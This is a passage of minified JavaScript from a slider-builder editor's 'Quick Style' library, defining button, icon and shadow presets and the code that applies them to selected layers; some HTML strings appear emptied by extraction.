Here",cls:"rev-btn",hbc:"rgba(255,255,255,0.75)",hc:"rgba(255,255,255,1)",hs:300,ease:"power1.inOut"},{showsize:"half",fs:17,fw:"500",ff:"Roboto",lh:40,pd:["0px","25px","0px","25px"],br:["25px","25px","25px","25px"],bw:["1px","1px","1px","1px"],bs:"solid",bc:"rgba(255,255,255,0.35)",bg:"rgba(0,0,0,0)",color:"#ffffff",content:"Click Here",cls:"rev-btn",hbc:"rgba(255,255,255,0.75)",hc:"rgba(255,255,255,1)",hs:300,ease:"power1.inOut"},{showsize:"half",fs:17,fw:"500",ff:"Roboto",lh:40,pd:["0px","25px","0px","25px"],bg:"#007aff",color:"#ffffff",content:"Click Here",cls:"rev-btn",hs:300,hc:"#ffffff",hbg:"#007aff",hfb:"120%",hfbl:0,hfg:0,ease:"power3.inOut"},{showsize:"half",fs:17,fw:"500",ff:"Roboto",lh:40,pd:["0px","25px","0px","25px"],bg:"#007aff",color:"#ffffff",br:["25px","25px","25px","25px"],content:"Click Here",cls:"rev-btn",hs:300,hc:"#ffffff",hbg:"#007aff",hfb:"120%",hfbl:0,hfg:0,ease:"power3.inOut"},{fs:18,fw:"500",ff:"Roboto",lh:50,pd:["0px","40px","0px","40px"],bg:"#007aff",br:["3px","3px","3px","3px"],color:"#ffffff",content:"Click Here",cls:"rev-btn",hs:100,hc:"#ffffff",hbg:"#007aff",hfb:"120%",hfbl:0,hfg:0,ease:"power1.inOut"},{fs:20,fw:"500",ff:"Roboto",lh:55,pd:["0px","50px","0px","50px"],bg:"#007aff",br:["3px","3px","3px","3px"],color:"#ffffff",content:"Click Here",cls:"rev-btn",hs:100,hc:"#ffffff",hbg:"#007aff",hfb:"120%",hfbl:0,hfg:0,ease:"power1.inOut"},{fs:18,fw:"500",ff:"Roboto",lh:50,pd:["0px","40px","0px","40px"],bxb:"20px",bxc:"#461d7d",bxv:"5px",bxh:"0px",bxs:"0px",br:["5px","5px","5px","5px"],color:"#ffffff",content:"Click Here",cls:"rev-btn",hs:300,hc:"#ffffff",hbg:"{&type&:&linear&,&angle&:&181&,&colors&:[{&r&:110,&g&:74,&b&:185,&a&:1,&position&:0,&align&:&top&},{&r&:110,&g&:74,&b&:185,&a&:1,&position&:0,&align&:&bottom&},{&r&:94,&g&:53,&b&:177,&a&:1,&position&:100,&align&:&bottom&},{&r&:94,&g&:53,&b&:177,&a&:1,&position&:100,&align&:&top&}],&easing&:&sine.easeinout&,&strength&:100}",hfb:"120%",hfbl:0,hfg:0,ease:"power1.inOut",bg:"{&type&:&linear&,&angle&:&181&,&colors&:[{&r&:110,&g&:74,&b&:185,&a&:1,&position&:0,&align&:&top&},{&r&:110,&g&:74,&b&:185,&a&:1,&position&:0,&align&:&bottom&},{&r&:94,&g&:53,&b&:177,&a&:1,&position&:100,&align&:&bottom&},{&r&:94,&g&:53,&b&:177,&a&:1,&position&:100,&align&:&top&}],&easing&:&sine.easeinout&,&strength&:100}"},{fs:20,fw:"500",ff:"Roboto",lh:60,pd:["0px","60px","0px","60px"],bxb:"20px",bxc:"#461d7d",bxv:"5px",bxh:"0px",bxs:"0px",br:["5px","5px","5px","5px"],color:"#ffffff",content:"Click Here",cls:"rev-btn",hs:300,hc:"#ffffff",hbg:"{&type&:&linear&,&angle&:&181&,&colors&:[{&r&:110,&g&:74,&b&:185,&a&:1,&position&:0,&align&:&top&},{&r&:110,&g&:74,&b&:185,&a&:1,&position&:0,&align&:&bottom&},{&r&:94,&g&:53,&b&:177,&a&:1,&position&:100,&align&:&bottom&},{&r&:94,&g&:53,&b&:177,&a&:1,&position&:100,&align&:&top&}],&easing&:&sine.easeinout&,&strength&:100}",hfb:"120%",hfbl:0,hfg:0,ease:"power1.inOut",bg:"{&type&:&linear&,&angle&:&181&,&colors&:[{&r&:110,&g&:74,&b&:185,&a&:1,&position&:0,&align&:&top&},{&r&:110,&g&:74,&b&:185,&a&:1,&position&:0,&align&:&bottom&},{&r&:94,&g&:53,&b&:177,&a&:1,&position&:100,&align&:&bottom&},{&r&:94,&g&:53,&b&:177,&a&:1,&position&:100,&align&:&top&}],&easing&:&sine.easeinout&,&strength&:100}"},{fs:18,fw:"500",ff:"Roboto",lh:50,pd:["0px","40px","0px","40px"],bxb:"20px",bxc:"rgba(0,0,0,0.25)",bxv:"10px",bxh:"0px",bxs:"0px",br:["5px","5px","5px","5px"],color:"#ffffff",content:"Click Here",cls:"rev-btn",hs:300,hc:"#ffffff",hbg:"{&type&:&linear&,&angle&:&180&,&colors&:[{&r&:255,&g&:149,&b&:0,&a&:1,&position&:0,&align&:&top&},{&r&:255,&g&:149,&b&:0,&a&:1,&position&:0,&align&:&bottom&},{&r&:255,&g&:94,&b&:58,&a&:1,&position&:100,&align&:&bottom&},{&r&:255,&g&:94,&b&:58,&a&:1,&position&:100,&align&:&top&}],&easing&:&none&,&strength&:100}",hfb:"120%",hfbl:0,hfg:0,ease:"power1.inOut",bg:"{&type&:&linear&,&angle&:&180&,&colors&:[{&r&:255,&g&:149,&b&:0,&a&:1,&position&:0,&align&:&top&},{&r&:255,&g&:149,&b&:0,&a&:1,&position&:0,&align&:&bottom&},{&r&:255,&g&:94,&b&:58,&a&:1,&position&:100,&align&:&bottom&},{&r&:255,&g&:94,&b&:58,&a&:1,&position&:100,&align&:&top&}],&easing&:&none&,&strength&:100}"},{fs:20,fw:"500",ff:"Roboto",lh:60,pd:["0px","60px","0px","60px"],bxb:"20px",bxc:"rgba(0,0,0,0.25)",bxv:"10px",bxh:"0px",bxs:"0px",br:["5px","5px","5px","5px"],color:"#ffffff",content:"Click Here",cls:"rev-btn",hs:300,hc:"#ffffff",hbg:"{&type&:&linear&,&angle&:&180&,&colors&:[{&r&:255,&g&:149,&b&:0,&a&:1,&position&:0,&align&:&top&},{&r&:255,&g&:149,&b&:0,&a&:1,&position&:0,&align&:&bottom&},{&r&:255,&g&:94,&b&:58,&a&:1,&position&:100,&align&:&bottom&},{&r&:255,&g&:94,&b&:58,&a&:1,&position&:100,&align&:&top&}],&easing&:&none&,&strength&:100}",hfb:"120%",hfbl:0,hfg:0,ease:"power1.inOut",bg:"{&type&:&linear&,&angle&:&180&,&colors&:[{&r&:255,&g&:149,&b&:0,&a&:1,&position&:0,&align&:&top&},{&r&:255,&g&:149,&b&:0,&a&:1,&position&:0,&align&:&bottom&},{&r&:255,&g&:94,&b&:58,&a&:1,&position&:100,&align&:&bottom&},{&r&:255,&g&:94,&b&:58,&a&:1,&position&:100,&align&:&top&}],&easing&:&none&,&strength&:100}"},{fs:17,ff:"Roboto",lh:20,ls:1,tt:"uppercase",pd:["12px","35px","12px","35px"],br:["30px","30px","30px","30px"],bg:"rgba(0,0,0,0.75)",color:"#ffffff",content:'Click Here ',cls:"rev-btn",hc:"rgba(0,0,0,1)",hbg:"#ffffff",hs:200},{fs:14,ff:"Roboto",lh:18,ls:1,tt:"uppercase",pd:["10px","30px","10px","30px"],br:["30px","30px","30px","30px"],bg:"rgba(0,0,0,0.75)",color:"#ffffff",content:'Click Here ',cls:"rev-btn",hc:"rgba(0,0,0,1)",hbg:"#ffffff",hs:200},{fs:12,ff:"Roboto",lh:14,ls:1,tt:"uppercase",pd:["8px","20px","8px","20px"],br:["30px","30px","30px","30px"],bg:"rgba(0,0,0,0.75)",color:"#ffffff",content:'Click Here ',cls:"rev-btn",hc:"rgba(0,0,0,1)",hbg:"#ffffff",hs:200},{fs:17,ff:"Roboto",lh:20,ls:1,tt:"uppercase",pd:["12px","35px","12px","35px"],br:["30px","30px","30px","30px"],bg:"rgba(0,0,0,0.75)",color:"#ffffff",content:'Click Here ',cls:"rev-btn rev-hiddenicon",hc:"rgba(0,0,0,1)",hbg:"#ffffff",hs:200},{fs:14,ff:"Roboto",lh:18,ls:1,tt:"uppercase",pd:["10px","30px","10px","30px"],br:["30px","30px","30px","30px"],bg:"rgba(0,0,0,0.75)",color:"#ffffff",content:'Click Here ',cls:"rev-btn rev-hiddenicon",hc:"rgba(0,0,0,1)",hbg:"#ffffff",hs:200},{fs:12,ff:"Roboto",lh:14,ls:1,tt:"uppercase",pd:["8px","20px","8px","20px"],br:["30px","30px","30px","30px"],bg:"rgba(0,0,0,0.75)",color:"#ffffff",content:'Click Here ',cls:"rev-btn rev-hiddenicon",hc:"rgba(0,0,0,1)",hbg:"#ffffff",hs:200},{showsize:"third",fs:17,ff:"Roboto",lh:20,ls:1,tt:"uppercase",pd:["22px","14px","22px","14px"],br:["50%","50%","50%","50%"],color:"#ffffff",ignoreIntelligent:!0,content:"",cls:"rev-burger rev-b-span-light",action:{action:"toggle_class",toggle_class:"open",tooltip_event:"click"}},{showsize:"third",fs:17,ff:"Roboto",lh:20,ls:1,tt:"uppercase",pd:["22px","14px","22px","14px"],br:["50%","50%","50%","50%"],bc:"rgba(255,255,255,0.75)",bs:"solid",bw:["2px","2px","2px","2px"],color:"#ffffff",ignoreIntelligent:!0,content:"",cls:"rev-burger rev-b-span-light",action:{action:"toggle_class",toggle_class:"open",tooltip_event:"click"}},{showsize:"third",fs:17,ff:"Roboto",lh:20,ls:1,tt:"uppercase",pd:["22px","14px","22px","14px"],br:["50%","50%","50%","50%"],bg:"#ffffff",color:"#ffffff",ignoreIntelligent:!0,content:"",cls:"rev-burger rev-b-span-dark",action:{action:"toggle_class",toggle_class:"open",tooltip_event:"click"}},{showsize:"third",fs:17,ff:"Roboto",lh:20,ls:1,tt:"uppercase",pd:["22px","14px","22px","14px"],br:["50%","50%","50%","50%"],color:"#ffffff",ignoreIntelligent:!0,content:"",cls:"rev-burger rev-b-span-dark",action:{action:"toggle_class",toggle_class:"open",tooltip_event:"click"}},{showsize:"third",fs:17,ff:"Roboto",lh:20,ls:1,tt:"uppercase",pd:["22px","14px","22px","14px"],br:["50%","50%","50%","50%"],bc:"rgba(51,51,51,0.75)",bs:"solid",bw:["2px","2px","2px","2px"],color:"#ffffff",ignoreIntelligent:!0,content:"",cls:"rev-burger rev-b-span-dark",action:{action:"toggle_class",toggle_class:"open",tooltip_event:"click"}},{showsize:"third",fs:17,ff:"Roboto",lh:20,ls:1,tt:"uppercase",pd:["22px","14px","22px","14px"],br:["50%","50%","50%","50%"],bg:"#333333",color:"#ffffff",ignoreIntelligent:!0,content:"",cls:"rev-burger rev-b-span-light",action:{action:"toggle_class",toggle_class:"open",tooltip_event:"click"}},{showsize:"fourth",w:"35px",h:"55px",fs:17,ff:"Roboto",lh:20,ls:1,tt:"uppercase",pd:["22px","14px","22px","14px"],br:["23px","23px","23px","23px"],bc:"rgba(255,255,255,0.75)",bs:"solid",bw:["3px","3px","3px","3px"],color:"#ffffff",ignoreIntelligent:!0,content:"",cls:"rev-scroll-btn rev-b-span-light"},{showsize:"fourth",w:"35px",h:"55px",fs:17,ff:"Roboto",lh:20,ls:1,tt:"uppercase",pd:["22px","14px","22px","14px"],br:["23px","23px","23px","23px"],bc:"rgba(255,255,255,0.75)",bs:"solid",bw:["3px","3px","3px","3px"],bg:"#fff",ignoreIntelligent:!0,color:"#ffffff",content:"",cls:"rev-scroll-btn rev-b-span-dark"},{showsize:"fourth",w:"35px",h:"55px",fs:17,ff:"Roboto",lh:20,ls:1,tt:"uppercase",pd:["22px","14px","22px","14px"],br:["23px","23px","23px","23px"],bc:"rgba(51,51,51,0.75)",bs:"solid",bw:["3px","3px","3px","3px"],color:"#ffffff",ignoreIntelligent:!0,content:"",cls:"rev-scroll-btn rev-b-span-dark"},{showsize:"fourth",w:"35px",h:"55px",fs:17,ff:"Roboto",lh:20,ls:1,tt:"uppercase",pd:["22px","14px","22px","14px"],br:["23px","23px","23px","23px"],bc:"rgba(51,51,51,0.75)",bs:"solid",bw:["3px","3px","3px","3px"],bg:"#333",ignoreIntelligent:!0,color:"#ffffff",content:"",cls:"rev-scroll-btn rev-b-span-light"},{showsize:"fourth",w:"37px",h:"37px",fs:20,ff:"Roboto",lh:37,ta:"center",tt:"uppercase",pd:["0","0","0","0"],br:["50%","50%","50%","50%"],bg:"#3B5998",color:"#ffffff",content:'',cls:""},{showsize:"fourth",w:"37px",h:"37px",fs:20,ff:"Roboto",lh:37,ta:"center",tt:"uppercase",pd:["0","0","0","0"],br:["50%","50%","50%","50%"],bg:"#FD1D1D",color:"#ffffff",content:'',cls:""},{showsize:"fourth",w:"37px",h:"37px",fs:20,ff:"Roboto",lh:37,ta:"center",tt:"uppercase",pd:["0","0","0","0"],br:["50%","50%","50%","50%"],bg:"#00A0D1",color:"#ffffff",content:'',cls:""},{showsize:"fourth",w:"37px",h:"37px",fs:20,ff:"Roboto",lh:37,ta:"center",tt:"uppercase",pd:["0","0","0","0"],br:["50%","50%","50%","50%"],bg:"rgba(0,0,0,0.5)",color:"#ffffff",content:'',cls:""},{showsize:"fourth",w:"60px",h:"60px",fs:20,ff:"Roboto",lh:60,ta:"center",tt:"uppercase",pd:["0","0","0","0"],br:["50%","50%","50%","50%"],bg:"rgba(0,0,0,0.5)",color:"#ffffff",content:'',cls:""},{showsize:"fourth",w:"60px",h:"60px",fs:20,ff:"Roboto",lh:60,ta:"center",tt:"uppercase",pd:["0","0","0","0"],br:["50%","50%","50%","50%"],bg:"#ffffff",color:"#333333",content:'',cls:""},{showsize:"fourth",w:"60px",h:"60px",fs:20,ff:"Roboto",lh:60,ta:"center",tt:"uppercase",pd:["0","0","0","0"],br:["5px","5px","5px","5px"],bg:"rgba(0,0,0,0.5)",color:"#ffffff",content:'',cls:""},{showsize:"fourth",w:"60px",h:"60px",fs:20,ff:"Roboto",lh:60,ta:"center",tt:"uppercase",pd:["0","0","0","0"],br:["5px","5px","5px","5px"],bg:"#ffffff",color:"#333333",content:'',cls:""},{showsize:"fourth",w:"60px",h:"60px",fs:20,ff:"Roboto",lh:60,ta:"center",tt:"uppercase",pd:["0","0","0","0"],br:["50%","50%","50%","50%"],bg:"rgba(0,0,0,0.5)",color:"#ffffff",content:'',cls:""},{showsize:"fourth",w:"60px",h:"60px",fs:20,ff:"Roboto",lh:60,ta:"center",tt:"uppercase",pd:["0","0","0","0"],br:["50%","50%","50%","50%"],bg:"#ffffff",color:"#333333",content:'',cls:""},{showsize:"fourth",w:"60px",h:"60px",fs:20,ff:"Roboto",lh:60,ta:"center",tt:"uppercase",pd:["0","0","0","0"],br:["5px","5px","5px","5px"],bg:"rgba(0,0,0,0.5)",color:"#ffffff",content:'',cls:""},{showsize:"fourth",w:"60px",h:"60px",fs:20,ff:"Roboto",lh:60,ta:"center",tt:"uppercase",pd:["0","0","0","0"],br:["5px","5px","5px","5px"],bg:"#ffffff",color:"#333333",content:'',cls:""}],shadows:[{showsize:"half",box_hoff:"0px",box_voff:"0px",box_blur:"0px",box_spread:"0px",box_color:"rgba(0,0,0,0.5)",box_inset:!1},{showsize:"half",box_hoff:"5px",box_voff:"0px",box_blur:"10px",box_spread:"0px",box_color:"rgba(0,0,0,0.25)",box_inset:!1},{showsize:"half",box_hoff:"0px",box_voff:"10px",box_blur:"10px",box_spread:"0px",box_color:"rgba(0,0,0,0.25)",box_inset:!1},{showsize:"half",box_hoff:"5px",box_voff:"5px",box_blur:"10px",box_spread:"0px",box_color:"rgba(0,0,0,0.15)",box_inset:!1},{showsize:"half",text_hoff:"7px",text_voff:"7px",text_blur:"10px",text_color:"rgba(0,0,0,0.75)"},{showsize:"half",text_hoff:"5px",text_voff:"0px",text_blur:"10px",text_color:"rgba(0,0,0,0.75)"},{showsize:"half",text_hoff:"0px",text_voff:"10px",text_blur:"10px",text_color:"rgba(0,0,0,0.75)"},{showsize:"half",text_hoff:"15px",text_voff:"15px",text_blur:"20px",text_color:"rgba(0,0,0,0.45)"}]}),RVS.LIB.QS_CONT={headlines:"Headline",content:"Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nullam vestibulum orci at leo..."},function(){function e(e){return e.ls=void 0===e.ls?0:e.ls,e.fw=void 0===e.fw?400:e.fw,e.fst=void 0===e.fst?"normal":e.fst,e.pd=void 0===e.pd?["0px","0px","0px","0px"]:e.pd,e.br=void 0===e.br?["0px","0px","0px","0px"]:e.br,e.bg=void 0===e.bg?"transparent":e.bg,e.bs=void 0===e.bs?"none":e.bs,e.tt=void 0===e.tt?"none":e.tt,e}function t(e,t){var i=e.closest(".quick_style_dep_all");RVS.LIB.QS[e[0].dataset.cont+"_color"]="dark"===t?"#000":"#fff",i.find(".quick_colorchange_"+("dark"===t?"light":"dark")).removeClass("selected"),tpGS.gsap.to(i.find(".quick_style_example_content"),.2,{color:RVS.LIB.QS[e[0].dataset.cont+"_color"]}),tpGS.gsap.to(i.find(".quick_style_example_wrap"),.2,{backgroundColor:"dark"===t?"#fff":"#202224"}),i.removeClass("light").removeClass("dark").addClass(t),e.addClass("selected")}function i(){var e=-1;for(var t in window.qstyle_scroll_targets)window.qstyle_scroll_targets[t].obj.length>0&&window.qstyle_scroll_targets[t].enable&&(window.qstyle_scroll_targets[t].top=window.qstyle_scroll_targets[t].obj.offset().top-100,window.qstyle_scroll_targets[t].height=window.qstyle_scroll_targets[t].obj.height(),30>=window.qstyle_scroll_targets[t].top&&0<=window.qstyle_scroll_targets[t].top+window.qstyle_scroll_targets[t].height&&(e=t));e=-1===e?window.qstyle_scroll_targets.length-1:e,jQuery(".quick_style_menu_point").removeClass("active"),window.qstyle_scroll_targets[e].menu.addClass("active")}RVS.F.initQuickStyle=function(){RVS.DOC.on("click",".quick_colorchange_dark",function(){t(jQuery(this),"dark")}),RVS.DOC.on("click",".quick_colorchange_light",function(){t(jQuery(this),"light")}),RVS.DOC.on("quickstyletrigger",function(){RVS.F.openQuickStyle(!1)}),RVS.DOC.on("click","#quick_style_close",RVS.F.closeQuickStyle),RVS.DOC.on("showQuickStyle",RVS.F.showQuickStyle),RVS.DOC.on("click",".quick_style_example",function(){var t=this.dataset.qstyletype,i=jQuery.extend(!0,{},RVS.LIB.QS[t][this.dataset.qstyleindex]),a=this.dataset.layertype;if(RVS.F.updateScreenShrinks(),i=e(i),0===RVS.selLayers.length){if("textshadow"===a||"boxshadow"===a)return;var r=RVS.F.addLayer({type:a,forceSelect:!0});RVS.F.selectLayers({id:r,overwrite:!0,action:"add"})}for(var s in void 0===RVS.S.qstyleBackupGroup&&RVS.F.openBackupGroup({id:"quickstyle",txt:"Quick Style Change",icon:"invert_colors"}),RVS.selLayers)if(RVS.selLayers.hasOwnProperty(s)){var o=RVS.S.slideId+".layers."+RVS.selLayers[s]+".",n=!1;switch(a){case"text":case"button":if("text"===RVS.L[RVS.selLayers[s]].type&&"text"===a||"button"===RVS.L[RVS.selLayers[s]].type&&"button"===a){var l;if(i.ignoreIntelligent?(RVS.F.updateSliderObj({path:o+"behavior.intelligentInherit",val:!1}),RVS.F.updateSliderObj({path:o+"behavior.autoResponsive",val:!1}),RVS.F.updateSliderObj({path:o+"behavior.responsiveOffset",val:!1}),RVS.F.updateSliderObj({path:o+"behavior.responsiveChilds",val:!1}),n=!1):n=!0,"text"!==a||"headlines"!==t&&"content"!==t||RVS.F.updateSliderObj({path:o+"idle.color.d.v",val:RVS.LIB.QS[t+"_color"]}),void 0!==i.fs&&RVS.F.updateSliderObj({path:o+"idle.fontSize.d.v",val:i.fs}),void 0!==i.w?RVS.F.updateSliderObj({path:o+"size.width.d.v",val:i.w}):RVS.F.updateSliderObj({path:o+"size.width.d.v",val:"auto"}),void 0!==i.h?RVS.F.updateSliderObj({path:o+"size.height.d.v",val:i.h}):RVS.F.updateSliderObj({path:o+"size.height.d.v",val:"auto"}),void 0!==i.h&&"auto"!==i.h?RVS.F.updateSliderObj({path:o+"size.minHeight.d.v",val:i.h}):RVS.F.updateSliderObj({path:o+"size.minHeight.d.v",val:"0px"}),void 0!==i.w?RVS.F.updateSliderObj({path:o+"size.minWidth.d.v",val:i.w}):RVS.F.updateSliderObj({path:o+"size.minWidth.d.v",val:"none"}),void 0!==i.lh&&RVS.F.updateSliderObj({path:o+"idle.lineHeight.d.v",val:i.lh}),void 0!==i.ls&&RVS.F.updateSliderObj({path:o+"idle.letterSpacing.d.v",val:i.ls}),void 0!==i.fw&&RVS.F.updateSliderObj({path:o+"idle.fontWeight.d.v",val:i.fw}),void 0!==i.fst&&RVS.F.updateSliderObj({path:o+"idle.fontStyle",val:"italic"===i.fst}),void 0!==i.ff&&RVS.F.updateSliderObj({path:o+"idle.fontFamily",val:i.ff}),void 0!==i.ta&&RVS.F.updateSliderObj({path:o+"idle.textAlign.d.v",val:i.ta}),void 0!==i.tt&&RVS.F.updateSliderObj({path:o+"idle.textTransform",val:i.tt}),void 0!==i.pd&&RVS.F.updateSliderObj({path:o+"idle.padding.d.v",val:i.pd}),void 0!==i.bg&&RVS.F.updateSliderObj({path:o+"idle.backgroundColor",val:i.bg}),void 0!==i.br&&RVS.F.updateSliderObj({path:o+"idle.borderRadius.v",val:i.br}),void 0!==i.bc&&RVS.F.updateSliderObj({path:o+"idle.borderColor",val:i.bc}),void 0!==i.bw&&RVS.F.updateSliderObj({path:o+"idle.borderWidth",val:i.bw}),void 0!==i.bs&&RVS.F.updateSliderObj({path:o+"idle.borderStyle.d.v",val:i.bs}),void 0!==i.bxc?(RVS.F.updateSliderObj({path:o+"idle.boxShadow.inuse",val:!0}),RVS.F.updateSliderObj({path:o+"idle.boxShadow.hoffset.d.v",val:i.bxh}),RVS.F.updateSliderObj({path:o+"idle.boxShadow.voffset.d.v",val:i.bxv}),RVS.F.updateSliderObj({path:o+"idle.boxShadow.blur.d.v",val:i.bxb}),RVS.F.updateSliderObj({path:o+"idle.boxShadow.spread.d.v",val:i.bxs}),RVS.F.updateSliderObj({path:o+"idle.boxShadow.color",val:i.bxc})):RVS.F.updateSliderObj({path:o+"idle.boxShadow.inuse",val:!1}),void 0!==i.color&&RVS.F.updateSliderObj({path:o+"idle.color.d.v",val:i.color}),void 0!==i.cls?RVS.F.updateSliderObj({path:o+"runtime.internalClass",val:i.cls}):RVS.F.updateSliderObj({path:o+"runtime.internalClass",val:""}),void 0!==i.action&&void 0!==(l=void 0!==RVS.L[RVS.selLayers[s]]&&void 0!==RVS.L[RVS.selLayers[s]].actions&&void 0!==RVS.L[RVS.selLayers[s]].actions.action?RVS.L[RVS.selLayers[s]].actions.action:void 0)){var d=!1;for(var S in l)!0!==d&&(d="toggle_class"===l[S].action&&""+l[S].layer_target==""+RVS.selLayers[s]&&"open"===l[S].toggle_class);i.action.layer_target=""+RVS.selLayers[s],!1===d&&l.push(i.action)}null!=i.content&&"button"===a&&(RVS.F.updateSliderObj({path:o+"text",val:i.content}),RVS.H[RVS.selLayers[s]].c.html(i.content)),void 0!==i.hs?(RVS.F.updateSliderObj({path:o+"hover.usehover",val:!0}),RVS.F.updateSliderObj({path:o+"hover.speed",val:i.hs}),void 0!==i.hc&&RVS.F.updateSliderObj({path:o+"hover.color",val:i.hc}),void 0!==i.hbg?RVS.F.updateSliderObj({path:o+"hover.backgroundColor",val:i.hbg}):void 0!==i.bg&&RVS.F.updateSliderObj({path:o+"hover.backgroundColor",val:i.bg}),void 0!==i.br&&RVS.F.updateSliderObj({path:o+"hover.borderRadius.v",val:i.br}),void 0!==i.hbc?RVS.F.updateSliderObj({path:o+"hover.borderColor",val:i.hbc}):void 0!==i.bc&&RVS.F.updateSliderObj({path:o+"hover.borderColor",val:i.bc}),void 0!==i.ease&&RVS.F.updateSliderObj({path:o+"hover.ease",val:i.ease}),void 0!==i.hfb&&(RVS.F.updateSliderObj({path:o+"hover.filter.grayscale",val:i.hfg}),RVS.F.updateSliderObj({path:o+"hover.filter.brightness",val:i.hfb}),RVS.F.updateSliderObj({path:o+"hover.filter.blir",val:i.hfbl})),void 0!==i.bw&&RVS.F.updateSliderObj({path:o+"hover.borderWidth",val:i.bw}),void 0!==i.bs&&RVS.F.updateSliderObj({path:o+"hover.borderStyle",val:i.bs})):RVS.F.updateSliderObj({path:o+"hover.usehover",val:!1}),void 0!==i.callback&&void 0!==RVS.F.updateQuickStyleObject&&void 0!==RVS.F.updateQuickStyleObject[i.callback]&&RVS.F.updateQuickStyleObject[i.callback](i,o,s)}break;case"boxshadow":RVS.F.updateSliderObj({path:o+"idle.boxShadow.hoffset.d.v",val:i.box_hoff}),RVS.F.updateSliderObj({path:o+"idle.boxShadow.voffset.d.v",val:i.box_voff}),RVS.F.updateSliderObj({path:o+"idle.boxShadow.blur.d.v",val:i.box_blur}),RVS.F.updateSliderObj({path:o+"idle.boxShadow.spread.d.v",val:i.box_spread}),RVS.F.updateSliderObj({path:o+"idle.boxShadow.color",val:i.box_color}),RVS.F.updateSliderObj({path:o+"idle.boxShadow.inuse",val:!0});break;case"textshadow":RVS.F.updateSliderObj({path:o+"idle.textShadow.hoffset.d.v",val:i.text_hoff}),RVS.F.updateSliderObj({path:o+"idle.textShadow.voffset.d.v",val:i.text_voff}),RVS.F.updateSliderObj({path:o+"idle.textShadow.blur.d.v",val:i.text_blur}),RVS.F.updateSliderObj({path:o+"idle.textShadow.color",val:i.text_color}),RVS.F.updateSliderObj({path:o+"idle.textShadow.inuse",val:!0})}RVS.F.intelligentUpdateValuesOnLayer(RVS.selLayers[s]),n&&RVS.F.setToIntelligentUpdate(!0),!1!==n&&RVS.F.updateSliderObj({path:RVS.S.slideId+".layers."+RVS.selLayers[s]+".behavior.intelligentInherit",val:!0}),RVS.F.drawHTMLLayer({uid:RVS.selLayers[s]})}void 0===RVS.S.qstyleBackupGroup&&RVS.F.closeBackupGroup({id:"quickstyle"}),RVS.F.updateLayerInputFields()}),RVS.DOC.on("click",".quick_style_menu_point",function(){i();var e={val:jQuery("#quick_style_scrollable").scrollTop()},t=e.val+window.qstyle_scroll_targets[this.dataset.ostref].top;tpGS.gsap.to(e,.6,{val:t,onUpdate:function(){jQuery("#quick_style_scrollable").scrollTop(e.val)},ease:"power3.out"}),i()}),RVS.DOC.on("mouseenter",".quick_style_example_content, .forms_quick_style_example_content",function(){if(void 0!==this.dataset.hoverspeed){var e=jQuery(this);if(void 0===e.data("hoveranim")){var t=tpGS.gsap.timeline(),i={color:this.dataset.hovercolor,backgroundColor:this.dataset.hoverbgcolor};void 0!==this.dataset.hoverbordercolor&&"undefined"!==this.dataset.hoverbordercolor&&(i.borderColor=this.dataset.hoverbordercolor),void 0!==this.dataset.filterbrightness&&"undefined"!==this.dataset.filterbrightness&&(i.filter="blur("+this.dataset.filterblur+"px) grayscale("+this.dataset.filtergrayscale+"%) brightness("+this.dataset.filterbrightness+")",i["-webkit-filter"]="blur("+this.dataset.filterblur+"px) grayscale("+this.dataset.filtergrayscale+"%) brightness("+this.dataset.filterbrightness+")",tpGS.gsap.set(this,{filter:"blur(0px) grayscale(0%) brightness(100%)","-webkit-filter":"blur(0px) grayscale(0%) brightness(100%)"})),void 0!==this.dataset.ease&&(i.ease=this.dataset.ease),t.add(tpGS.gsap.to(this,this.dataset.hoverspeed/1e3,i)),e.data("hoveranim",t)}e.data("hoveranim").play()}}),RVS.DOC.on("mouseleave",".quick_style_example_content, .forms_quick_style_example_content",function(){void 0!==this.dataset.hoverspeed&&jQuery(this).data("hoveranim").reverse()})},RVS.F.openQuickStyle=function(t){jQuery("#quick_style_trigger").addClass("selected"),RVS.S.qstyleBackupGroup=null==t||void 0===t.bacupGroupOpen?void 0:t.bacupGroupOpen,RVS.S.qstyle_library_open=!0,RVS.S.qstyleParams=t,window.quickStyleExists?RVS.F.showQuickStyle():(!function(){RVS.F.showWaitAMinute({fadeIn:100,text:"Building Quick Style Library"});var t={},a=[];RVS.F.buildQuickStyleExtensionMenu=void 0===RVS.F.buildQuickStyleExtensionMenu?{}:RVS.F.buildQuickStyleExtensionMenu;var r='
    ';for(var s in r+='
    ',RVS.LIB.QS)RVS.LIB.QS.hasOwnProperty(s)&&(r+='
    '+RVS_LANG["qs_"+s]+"
    ",void 0!==RVS.F.buildQuickStyleExtensionMenu[s]&&(r+=RVS.F.buildQuickStyleExtensionMenu[s](n)));for(var s in r+='
    close
    ',r+="
    ",r+='
    ',RVS.LIB.QS)if(RVS.LIB.QS.hasOwnProperty(s)){for(var o in r+='
    '+RVS_LANG["qs_"+s]+("headlines"===s||"content"===s?'
    ':"")+"
    ",RVS.LIB.QS[s])if(RVS.LIB.QS[s].hasOwnProperty(o)){var n=jQuery.extend(!0,{},RVS.LIB.QS[s][o]),l=!1;switch(n=e(n),s){case"headlines":case"content":var d=void 0!==n.bc&&void 0!==n.bw&&void 0!==n.bs?"border-style:"+n.bs+";border-width:"+n.bw[0]+" "+n.bw[1]+" "+n.bw[2]+" "+n.bw[3]+";border-color:"+n.bc+";":"";r+='
    '+n.ff+","+n.fs+"px,"+n.fw+'
    '+(void 0!==n.content?n.content:RVS.LIB.QS_CONT[s])+"
    ",l=!0;break;case"buttons":var d=void 0!==n.bc&&void 0!==n.bw&&void 0!==n.bs?"border-style:"+n.bs+";border-width:"+n.bw[0]+" "+n.bw[1]+" "+n.bw[2]+" "+n.bw[3]+";border-color:"+n.bc+";":"",S=void 0!==n.hs?'data-ease="'+n.ease+'" data-filterbrightness="'+n.hfb+'" data-filtergrayscale="'+n.hfg+'" data-filterblur="'+n.hfbl+'" data-hoverbordercolor="'+n.hbc+'" data-hovercolor="'+n.hc+'" data-hoverspeed="'+n.hs+'" data-hoverbgcolor="'+n.hbg+'" ':"",c=void 0!==n.w?"width:"+n.w+";":"";c=void 0!==n.h?c+"height:"+n.h+";":c,r+='
    '+n.content+"
    ",l=!0;break;case"shadows":void 0!==n.box_hoff?r+='
    ':r+='
    Shadow
